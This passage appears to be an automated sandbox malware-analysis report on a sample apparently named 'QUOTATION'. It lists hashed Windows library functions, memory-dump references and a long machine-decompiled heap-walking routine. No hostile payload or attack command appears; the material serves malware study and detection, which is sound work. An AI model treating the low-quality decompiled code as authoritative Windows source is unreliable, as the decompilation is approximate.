Opcode ID: e76619d64dd955e76fd5fa7940be4b95c1f3ad34408610601de8c903f14b89bd
Instruction ID: 84ea9092c3b6648f9c088eb6da0146ea639f71fa513335bb69ce96ecb21ecf29
Opcode Fuzzy Hash: e76619d64dd955e76fd5fa7940be4b95c1f3ad34408610601de8c903f14b89bd
Instruction Fuzzy Hash: 5490023171510812EA006159861571610054BD0202F61C916A0514928DD7A5895575A2

Uniqueness

Uniqueness Score: -1.00%

Function 33762B10 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762B1A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cbd711cdc0625de7663b6bd584ab5e963078e13201f649fcf5da957f9736a4c8
Instruction ID: 079a18ef93f4195e5f2122b00e9181c01da87e7acf8f7cc90b9379511f91719e
Opcode Fuzzy Hash: cbd711cdc0625de7663b6bd584ab5e963078e13201f649fcf5da957f9736a4c8
Instruction Fuzzy Hash: 0A90023131100C12EA807159850565A00054BD1302F91C51AA0115A14DDA258A5D77A1

Uniqueness

Uniqueness Score: -1.00%

Function 33762BC0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762BCA

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c583372901ad0ce609d18cd847517ce6f28959c7223bddef3e81f67423ca2e69
Instruction ID: 3eb8d447dccca871bd294cb6b45ebb70ef2569c25462aeb4efa992a5a4bd90c9
Opcode Fuzzy Hash: c583372901ad0ce609d18cd847517ce6f28959c7223bddef3e81f67423ca2e69
Instruction Fuzzy Hash: 5890023131100812EA006599950965600054BE0302F51D516A5114915ED67588957131

Uniqueness

Uniqueness Score: -1.00%

Function 33762B90 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762B9A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e631fe51fe8c92cae04691952a1424c20a9a7e36a9d9aba63c84e6576e98895f
Instruction ID: 9c2714026f8611f568a8589aec5dd767aaec01ad2c9588c760cad9e35dedafb2
Opcode Fuzzy Hash: e631fe51fe8c92cae04691952a1424c20a9a7e36a9d9aba63c84e6576e98895f
Instruction Fuzzy Hash: 5290023131108C12EA106159C50575A00054BD0302F55C916A4514A18DD6A588957121

Uniqueness

Uniqueness Score: -1.00%

Function 337629F0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 337629FA

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 96e8617822f09c68205140f0363421a4ca1d4c7862c1297fbc874d030abf49a3
Instruction ID: b72ee93652de4369d5f2aa80bd6226e6acf09cae7851a6207886979a14b7c4d3
Opcode Fuzzy Hash: 96e8617822f09c68205140f0363421a4ca1d4c7862c1297fbc874d030abf49a3
Instruction Fuzzy Hash: CE900225321004131A05A559470551700464BD5352351C526F1105910CE63188657121

Uniqueness

Uniqueness Score: -1.00%

Function 33762F00 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762F0A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e93e2ebd77291eefdda600fac343350537579ed381a7ebe5d9373eed84998fce
Instruction ID: eff77d4ad2b10d730e612fa58072edc53408327a8dd2bbddf42c3fbfb5749ffa
Opcode Fuzzy Hash: e93e2ebd77291eefdda600fac343350537579ed381a7ebe5d9373eed84998fce
Instruction Fuzzy Hash: C190022132180452EB0065698D15B1700054BD0303F51C61AA0244914CD92588657521

Uniqueness

Uniqueness Score: -1.00%

Function 33762E50 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762E5A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6094b8d5f9cfd5b2d499cfa76b8760cd71ce60a2142b45b20a1dbcabec279832
Instruction ID: 6d3ac69f424d0f701e8f3a1857ef1cb454b1b939a3a7e1b4bfa20b0e42ac9d68
Opcode Fuzzy Hash: 6094b8d5f9cfd5b2d499cfa76b8760cd71ce60a2142b45b20a1dbcabec279832
Instruction Fuzzy Hash: A590026135100852EA0061598515B1600058BE1302F51C51AE1154914DD629CC567126

Uniqueness

Uniqueness Score: -1.00%

Function 33762ED0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762EDA

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8e8c8bbd2b14e7d354bea19ea2195fb97126be910365ecd31cbd607cbd155172
Instruction ID: 8a97d7f627ba49dc2971fcd226e97400f1182cdbf2f1b2b42235003fa8ef3f22
Opcode Fuzzy Hash: 8e8c8bbd2b14e7d354bea19ea2195fb97126be910365ecd31cbd607cbd155172
Instruction Fuzzy Hash: 6B900221711004525A407169C94591640056FE1212751C626A0A88910DD56988697665

Uniqueness

Uniqueness Score: -1.00%

Function 33762EB0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762EBA

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e5ef711db6469300eddfc11b4fec8bffd9bf81ee9f3151bef835556da11b3a68
Instruction ID: 77526664862f0b076ab75cecffabcee9e2cbe55dd0de65009fee998ecc98545e
Opcode Fuzzy Hash: e5ef711db6469300eddfc11b4fec8bffd9bf81ee9f3151bef835556da11b3a68
Instruction Fuzzy Hash: 8F90023131140812EA006159891571B00054BD0303F51C516A1254915DD63588557571

Uniqueness

Uniqueness Score: -1.00%

Function 33762D10 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762D1A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a7835f22813352b8643cc0ad98997d5911d2998b686ecd3ed2ef2a77c0cc9dcd
Instruction ID: 0346f0b0e2ab55863b1427e785cafde49388f83c96ec79773a8ef27c5252c95e
Opcode Fuzzy Hash: a7835f22813352b8643cc0ad98997d5911d2998b686ecd3ed2ef2a77c0cc9dcd
Instruction Fuzzy Hash: 9890023131100823EA116159860571700094BD0242F91C917A0514918DE6668956B121

Uniqueness

Uniqueness Score: -1.00%

Function 33762DC0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762DCA

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc39057a3e8c167d727792ba6ed55dbd1bbab0ca1db8bc3073bd6c0128847b99
Instruction ID: 885b9f7f6b11dcc5db8ad766245d89d9ce7b2bd94708dd789d045a97d790d08f
Opcode Fuzzy Hash: bc39057a3e8c167d727792ba6ed55dbd1bbab0ca1db8bc3073bd6c0128847b99
Instruction Fuzzy Hash: 1F90027131100812EA407159850575600054BD0302F51C516A5154914ED6698DD97665

Uniqueness

Uniqueness Score: -1.00%

Function 33762DA0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762DAA

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e4aa206fca9e3f647d139e693ef239643102407db9ecc1ac767881f4bd12bfa5
Instruction ID: 9ef702cc8b1164338b9a9f1d25298f91d8861b38cbdf9454b5ea9fb2bcb1a448
Opcode Fuzzy Hash: e4aa206fca9e3f647d139e693ef239643102407db9ecc1ac767881f4bd12bfa5
Instruction Fuzzy Hash: 5090022171100912EA0171598505626000A4BD0242F91C527A1114915EDA358996B131

Uniqueness

Uniqueness Score: -1.00%

Function 33762C50 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762C5A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 18a3241016a3c7993734db45e0189e268b5f9ea9349208d52dd554a58571aaab
Instruction ID: a1880189fe07535f934605b635b8021822df2337ef3a5e436ebec638d5442e63
Opcode Fuzzy Hash: 18a3241016a3c7993734db45e0189e268b5f9ea9349208d52dd554a58571aaab
Instruction Fuzzy Hash: 2F90022131100413EA407159951961640059BE1302F51D516E0504914CE925885A7222

Uniqueness

Uniqueness Score: -1.00%

Function 33762C30 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762C3A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2f547306f893bd36120f9025314da53113608d2d8db91ee70ddc716dcf663d9b
Instruction ID: ba3fc0b330c4762f33f6dd4bfb12d88e9e91358e10558ca28c009724cf17a700
Opcode Fuzzy Hash: 2f547306f893bd36120f9025314da53113608d2d8db91ee70ddc716dcf663d9b
Instruction Fuzzy Hash: A290022932300412EA807159950961A00054BD1203F91D91AA0105918CD925886D7321

Uniqueness

Uniqueness Score: -1.00%

Function 33762CF0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 33762CFA

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1509f4ba6d9c55fa75eada18d847759966431db26a2a132e99d830f3fb95f627
Instruction ID: a884d18c0dde5b90207e1c35f2610490d6c5e7e3e8630c6b6081f83529282cec
Opcode Fuzzy Hash: 1509f4ba6d9c55fa75eada18d847759966431db26a2a132e99d830f3fb95f627
Instruction Fuzzy Hash: E7900221352045626E45B159850551740065BE0242791C517A1504D10CD536985AF621

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 337C9060 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558
timeCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E337C9060(signed int _a4, intOrPtr* _a8) {
				signed int _v8;
				short _v18;
				short _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				signed int _v72;
				char _v76;
				signed int _v80;
				signed int* _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				void _v172;
				signed int _v176;
				signed int _v180;
				intOrPtr _v184;
				signed int _v188;
				short _v190;
				short _v192;
				signed int _v196;
				signed int _v198;
				signed int _v200;
				signed int _v204;
				signed int _v206;
				void _v208;
				signed int* _v212;
				signed int _v214;
				void* _v216;
				intOrPtr _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				char _v233;
				char _v236;
				signed int _v240;
				signed int _v241;
				intOrPtr* _v244;
				intOrPtr _v248;
				signed int _v249;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t299;
				signed int _t310;
				signed int _t315;
				signed int _t316;
				signed int _t321;
				signed int _t322;
				char* _t323;
				signed int _t325;
				signed int _t329;
				signed int _t333;
				signed int* _t334;
				signed int _t349;
				signed int _t352;
				signed int _t357;
				signed int _t367;
				signed int _t373;
				intOrPtr _t422;
				signed int _t423;
				signed int _t424;
				void* _t427;
				signed int _t429;
				signed int _t431;
				signed int _t434;
				void* _t435;
				signed int _t436;
				intOrPtr _t444;
				signed int _t448;
				signed int _t452;
				void _t458;
				signed int _t461;
				signed int _t464;
				signed int _t467;
				signed int _t468;
				signed int _t469;
				signed int _t471;
				signed int _t472;
				intOrPtr _t475;
				intOrPtr _t478;
				signed int _t480;
				intOrPtr* _t484;
				void* _t485;
				intOrPtr _t488;
				intOrPtr _t489;
				signed int _t492;
				signed int _t495;
				signed int _t496;
				signed int _t499;
				void* _t500;
				signed int _t501;
				signed int _t503;

				_t503 = (_t501 & 0xfffffff8) - 0xec;
				_v8 =  *0x3381b370 ^ _t503;
				_t299 = _a8;
				_t499 = _a4;
				_t434 = 0;
				_t482 =  *_t299;
				_t484 =  *((intOrPtr*)(_t299 + 4));
				_v204 = _t482;
				_v232 =  *((intOrPtr*)(_t299 + 8));
				_v228 = _t484;
				_v68 = 0;
				if( *((intOrPtr*)(_t499 + 8)) != 0xddeeddee) {
					__eflags =  *(_t499 + 0x44) & 0x01000000;
					_v233 = 0;
					_v212 = 0;
					if(( *(_t499 + 0x44) & 0x01000000) == 0) {
						goto L2;
					} else {
						_t310 = 0xc0000002;
						goto L98;
					}
				} else {
					_v233 = 1;
					_v212 = _t499;
					L2:
					if(_t482 != 0x80000000) {
						E33768F40( &_v156, _t434, 0x54);
						_t503 = _t503 + 0xc;
						_v172 = 2;
						_v168 = 0x20;
						_v164 = _t499;
						__eflags = _v233 - _t434;
						if(_v233 != _t434) {
							_t444 = _v212;
							_v160 = _t434;
							_v156 =  *(_t444 + 0x80) << 0xc;
							_v156 = _v156 + ( *(_t444 + 0x4c) << 0xc);
							_v152 =  *(_t444 + 0x84) << 0xc;
							_t81 =  &_v152;
							 *_t81 = _v152 + ( *(_t444 + 0x50) << 0xc);
							__eflags =  *_t81;
							_t310 = _t434;
						} else {
							_t482 =  &_v156;
							_v160 =  *(_t499 + 0xea) & 0x000000ff;
							_t310 = E337C98AA(_t499,  &_v156,  &_v152);
						}
						__eflags = _t310;
						if(_t310 < 0) {
							L98:
							_pop(_t485);
							_pop(_t500);
							_pop(_t435);
							return E33764B50(_t310, _t435, _v8 ^ _t503, _t482, _t485, _t500);
						} else {
							 *0x338191e0( &_v172, _v232);
							_t310 =  *_t484();
							__eflags = _t310;
							if(_t310 < 0) {
								goto L98;
							}
							_t482 = _v212;
							__eflags = _t482 - 3;
							if(_t482 < 3) {
								goto L98;
							}
							_v232 = _t434;
							__eflags = _t482 - 3;
							_v228 = _t434;
							_t448 = 7;
							_t315 = memset( &_v208, 0, _t448 << 2);
							_t503 = _t503 + 0xc;
							_t316 = _t315 & 0xffffff00 | __eflags > 0x00000000;
							_t488 = 0;
							__eflags = 0;
							_v224 = _t316;
							while(1) {
								_t482 =  &_v208;
								_t310 = E337CA388(_t499,  &_v208, _t316);
								__eflags = _t310 - 0x8000001a;
								if(_t310 == 0x8000001a) {
									break;
								}
								__eflags = _t310;
								if(_t310 < 0) {
									goto L98;
								}
								_t436 = _v198;
								__eflags = _t436 & 0x00000002;
								if((_t436 & 0x00000002) == 0) {
									__eflags = _t436 & 0x00004000;
									if((_t436 & 0x00004000) == 0) {
										__eflags = _t436 & 0x00001000;
										if((_t436 & 0x00001000) == 0) {
											__eflags = _v241;
											if(_v241 != 0) {
												L75:
												__eflags = _v212 - 4;
												_t316 = _v224;
												if(_v212 < 4) {
													continue;
												}
												L76:
												__eflags = _t436 & 0x000000f0;
												if((_t436 & 0x000000f0) == 0) {
													E33768F40( &_v180, _t488, 0x64);
													_t503 = _t503 + 0xc;
													_v172 = _v208;
													_v164 = _v204;
													_t321 = _v188;
													_v180 = 5;
													_v176 = 0x1c;
													__eflags = _t436 & 0x00000002;
													if((_t436 & 0x00000002) != 0) {
														_t321 = _v200 & 0x000000ff;
													}
													_v160 = _t321;
													__eflags = _t436 & 0x00000001;
													if((_t436 & 0x00000001) == 0) {
														_t322 = _v168;
													} else {
														_t322 = 1;
														_v168 = 1;
													}
													__eflags = _t436 & 0x00004000;
													if((_t436 & 0x00004000) == 0) {
														__eflags = _t436 & 0x00008000;
														if((_t436 & 0x00008000) == 0) {
															goto L94;
														}
														_t325 = _t322 | 0x00000008;
														__eflags = _t325;
														goto L93;
													} else {
														_t325 = _t322 | 0x00000004;
														L93:
														_v168 = _t325;
														L94:
														_t323 =  &_v180;
														L95:
														 *0x338191e0(_t323, _v240);
														_t310 =  *_v236();
														__eflags = _t310;
														if(_t310 < 0) {
															goto L98;
														}
														L96:
														_t316 = _v232;
														continue;
													}
												}
												_t452 = _v188;
												_v56 = _v208;
												_v48 = _v204;
												_t329 = 2;
												_v40 = _t488;
												_v36 = _t488;
												_v64 = 5;
												_v60 = 0x30;
												_v52 = _t329;
												__eflags = _t329 & _t436;
												if((_t329 & _t436) != 0) {
													_t452 = _v200 & 0x000000ff;
												}
												_v44 = _t452;
												__eflags = _t436 & 0x00004000;
												if((_t436 & 0x00004000) != 0) {
													_t329 = 6;
													_v52 = _t329;
												}
												__eflags = _t436 & 0x00000001;
												if((_t436 & 0x00000001) != 0) {
													_t333 = _t329 | 0x00000001;
													__eflags = _t333;
													_v52 = _t333;
												}
												_v24 = _v196;
												_v20 = _v192;
												_v18 = _v190;
												_t323 =  &_v64;
												_v32 = 1;
												_v28 = 0x14;
												goto L95;
											}
											_t334 = _v208;
											__eflags = _t334 - _v232;
											if(_t334 < _v232) {
												L72:
												_t482 = _t334;
												E337C8093(_v76, _t334,  &_v232,  &_v228,  &_v68,  &_v216);
												__eflags = _v228 - 4;
												if(_v228 < 4) {
													goto L96;
												}
												E33768F40( &_v180, _t488, 0x64);
												_t458 = _v232;
												_t503 = _t503 + 0xc;
												_v168 = _v228 - _t458;
												_v160 = _v216;
												_v172 = _t458;
												_v180 = 4;
												_v176 = 0x20;
												_v164 = 1;
												 *0x338191e0( &_v180, _v240);
												_t310 =  *_v236();
												__eflags = _t310;
												if(_t310 < 0) {
													goto L98;
												}
												_t436 = _v206;
												goto L75;
											}
											__eflags = _t334 - _v228;
											if(_t334 <= _v228) {
												goto L75;
											}
											goto L72;
										}
										__eflags = _v212 - 4;
										_t316 = _v224;
										if(_v212 < 4) {
											continue;
										}
										E33768F40( &_v180, _t488, 0x64);
										_t503 = _t503 + 0xc;
										_v172 = _v208;
										_t325 = _v204;
										_v180 = 4;
										_v176 = 0x20;
										_v164 = 2;
										_v160 = 1;
										goto L93;
									}
									E33768F40( &_v172, 0, 0x5c);
									_t503 = _t503 + 0xc;
									_v180 = 3;
									_t496 = 0;
									_v176 = 0x1c;
									_v72 = 0;
									__eflags = _v241;
									if(_v241 != 0) {
										_t482 = _v208;
										_t349 = _v220 + 0x44;
										_v172 = _t482;
										__eflags =  *(_t349 + 4) & 0x00000001;
										_t496 =  *_t349;
										if(( *(_t349 + 4) & 0x00000001) != 0) {
											__eflags = _t496;
											if(_t496 == 0) {
												_t496 = 0;
											} else {
												_t496 = _t496 ^ _t349;
											}
										}
										_t461 =  *(_t349 + 4) & 1;
										while(1) {
											__eflags = _t496;
											if(_t496 == 0) {
												break;
											}
											__eflags = _t482 - ( *(_t496 + 0xc) & 0xffff0000);
											if(__eflags < 0) {
												_t352 =  *_t496;
												L54:
												__eflags = _t461;
												if(_t461 == 0) {
													L57:
													_t496 = _t352;
													continue;
												}
												__eflags = _t352;
												if(_t352 == 0) {
													goto L57;
												}
												_t496 = _t496 ^ _t352;
												continue;
											}
											if(__eflags <= 0) {
												break;
											}
											_t352 =  *(_t496 + 4);
											goto L54;
										}
										_v168 = ( *(_t496 + 0x10) & 0xfffff000) + 0x1000;
										_t357 =  *(_t496 + 0x10) & 0xfffff000;
										__eflags = _t357;
										L60:
										_v164 = _t357;
										 *0x338191e0( &_v180, _v240);
										_t310 = _v236();
										__eflags = _t310;
										if(_t310 < 0) {
											goto L98;
										}
										E33768F40( &_v176, 0, 0x58);
										_t503 = _t503 + 0xc;
										_v184 = 0x20;
										_t464 = 4;
										_v188 = _t464;
										__eflags = _v249;
										if(_v249 != 0) {
											_v180 = _v216;
											_v176 =  *(_t496 + 0x10) & 0xfffff000;
											_t367 =  *(_v228 + 0xc) & 0x40000000;
											__eflags = _t367;
										} else {
											_t373 = _v80;
											_v180 = _t373;
											_v176 =  *((intOrPtr*)(_t373 + 0x10));
											_t367 =  *(_t499 + 0x40) & 0x00040000;
										}
										_v172 = 1;
										asm("sbb eax, eax");
										_v168 = ( ~_t367 & 0x0000003c) + _t464;
										 *0x338191e0( &_v188, _v248);
										_t310 =  *_v244();
										__eflags = _t310;
										if(_t310 < 0) {
											goto L98;
										} else {
											_t436 = _v214;
											_t488 = 0;
											goto L76;
										}
									}
									_t467 = _v208 + 0xfffffff8;
									__eflags =  *((char*)(_t467 + 7)) - 5;
									if( *((char*)(_t467 + 7)) == 5) {
										_t467 = _t467 - (( *(_t467 + 6) & 0x000000ff) << 3);
										__eflags = _t467;
									}
									_t468 = _t467 + 0xffffffe8;
									_v72 = _t468;
									_v172 = _t468 & 0xffff0000;
									_v168 =  *((intOrPtr*)(_t468 + 0x14));
									_t357 =  *(_t468 + 0x10);
									goto L60;
								}
								__eflags = _v241;
								if(_v241 != 0) {
									L30:
									_t489 = _v208;
									L31:
									E33768F40( &_v160, 0, 0x50);
									_t469 = _v196;
									_t503 = _t503 + 0xc;
									_v172 = _t489;
									_v168 = _v192 + _t469;
									_v164 = _t469;
									_v180 = 3;
									_v176 = 0x1c;
									 *0x338191e0( &_v180, _v240);
									_t310 =  *_v236();
									__eflags = _t310;
									if(_t310 < 0) {
										goto L98;
									}
									__eflags = _v249;
									if(_v249 != 0) {
										_t471 = _v216;
										_v236 = _v204 + _t471;
										_t492 =  *(_v228 + 0xc) & 0x40000000;
										__eflags = _t492;
										L37:
										_v240 = _t471;
										asm("sbb edi, edi");
										_t495 = ( ~_t492 & 0x0000003c) + 4;
										__eflags = _t495;
										_v224 = _t495;
										L38:
										E33768F40( &_v188, 0, 0x64);
										_t472 = _v240;
										_t503 = _t503 + 0xc;
										_v176 = _v236 - _t472;
										_v180 = _t472;
										_v188 = 4;
										_v184 = 0x20;
										_v172 = 1;
										_v168 = _t495;
										 *0x338191e0( &_v188, _v248);
										_t310 =  *_v244();
										__eflags = _t310;
										if(_t310 < 0) {
											goto L98;
										}
										_t488 = 0;
										goto L96;
									}
									__eflags = _v206 & 0x00008000;
									if((_v206 & 0x00008000) != 0) {
										_t471 = _v216;
										_v236 = _v204 + _t471;
										_t492 =  *(_t499 + 0x40) & 0x00040000;
										goto L37;
									}
									_t482 = _v84;
									E337C8093(_v84, _v84,  &_v240,  &_v236,  &_v76,  &_v224);
									_t495 = _v240;
									goto L38;
								}
								__eflags = _t436 & 0x00008000;
								if((_t436 & 0x00008000) != 0) {
									goto L30;
								}
								_t475 = _v208;
								_v76 = _t475;
								__eflags = _t475 + 0x10 -  *((intOrPtr*)(_t499 + 0xa4));
								if(_t475 + 0x10 !=  *((intOrPtr*)(_t499 + 0xa4))) {
									_t489 = _t475;
								} else {
									_t489 = _t499;
								}
								goto L31;
							}
